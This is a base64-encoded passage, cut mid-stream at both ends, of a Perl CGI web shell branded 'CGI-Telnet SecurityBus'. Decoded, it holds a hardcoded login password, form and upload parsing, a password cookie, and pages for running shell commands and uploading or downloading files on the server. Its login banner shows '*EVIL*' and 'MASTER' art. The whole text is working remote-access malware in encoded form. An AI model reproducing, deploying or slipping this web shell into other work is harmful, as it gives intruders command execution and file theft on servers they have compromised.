0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJFBhc3N3b3JkID0gImcxdTV5IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcw0KCQkJCSMgdG8gbG9naW4uDQoNCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENtZFNlcCA9ICImIjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJhdGlvbiA9IDEwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlDQoJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQNCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0NCgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPlNlY3VyaXR5QnVzPC90aXRsZT4NCiRIdG1sTWV0YUhlYWRlcg0KPC9oZWFkPg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwMDAwMDAiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4NCjx0cj4NCjx0ZCBiZ2NvbG9yPSIjQzJCRkE1IiBib3JkZXJjb2xvcj0iIzAwMDA4MCIgYWxpZ249ImNlbnRlciI+DQo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4NCjx0ZCBiZ2NvbG9yPSIjMDAwMDgwIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIiBjb2xvcj0iIzAwOTkwMCI+PGI+Q0dJLVRlbG5ldCBTZWN1cml0eUJ1cyBDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8L2I+PC9mb250PjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGJnY29sb3I9IiNDMkJGQTUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkRpc2Nvbm5lY3Q8L2E+IHwNCjxhIGhyZWY9IlVOSVRYX1RFQU1ASE9UTUFJTC5DT00iPkhlbHA8L2E+DQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiIHNpemU9IjMiPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luU2NyZWVuDQp7DQoJJE1lc3NhZ2UgPSBxJDxwcmU+PGZvbnQgY29sb3I9IiNmZjAwMDAiPiBfX19fXyAgX19fX18gIF9fX19fICAgICAgICAgIF9fX19fICAgICAgICBfICAgICAgICAgICAgICAgXw0KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfA0KfCAvICBcL3wgfCAgXC8gIHwgfCAgIF9fX19fXyAgIHwgfCAgICBfX18gfCB8IF8gX18gICAgX19fIHwgfF8NCnwgfCAgICB8IHwgX18gICB8IHwgIHxfX19fX198ICB8IHwgICAvIF8gXHwgfHwgJ18gXCAgLyBfIFx8IF9ffA0KfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8NCiBcX19fXy8gXF9fX18vIFxfX18vICAgICAgICAgICBcXy8gICBcX19ffHxffHxffCB8X3wgXF9fX3wgXF9ffCAxLjANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj4gMjAxNSwgU2VjdXJpdHlCdXM8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPg0KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4NCiAgICAgICAgICAgICAgICAgIC8gICAgICAgICAgICBcDQogICAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgIHwNCiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfA0KICAgICAgICAgICAgICAgICB8ICkoX28vICBcb18pKCB8DQogICAgICAgICAgICAgICAgIHwvICAgICAvXCAgICAgXHwNCiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQ0KICBfICAgICApIFw8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlw8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58KkVWSUwqfDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPi88L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX19fX19fX19fX19fX19fX19fDQo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAoXyk8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPkA4QDg8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnt9PC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj4mbHQ7X19fX19fX188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnwtXE1BU1RFUi8tfDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+X19fX19fX19fX19fX19fX19fX19fX19fJmd0OzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+DQogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIA0KICAgICAgIChAICAgICAgICAgICBgLS0tLS0tLS1gDQogICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj5XIEEgUiBOIEkgTiBHOiBQcml2YXRlIFNlcnZlciA8L2ZvbnQ+PC9wcmU+DQokOw0KIycNCglwcmludCA8PEVORDsNCjxjb2RlPg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KbG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeycnfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiPGNvZGU+Q29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+PC9jb2RlPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2Fpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dvdXQNCnsNCglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llDQoJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCSZQcmludExvZ291dFNjcmVlbjsNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQokUHJvbXB0IHVwbG9hZDxicj48YnI+DQpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW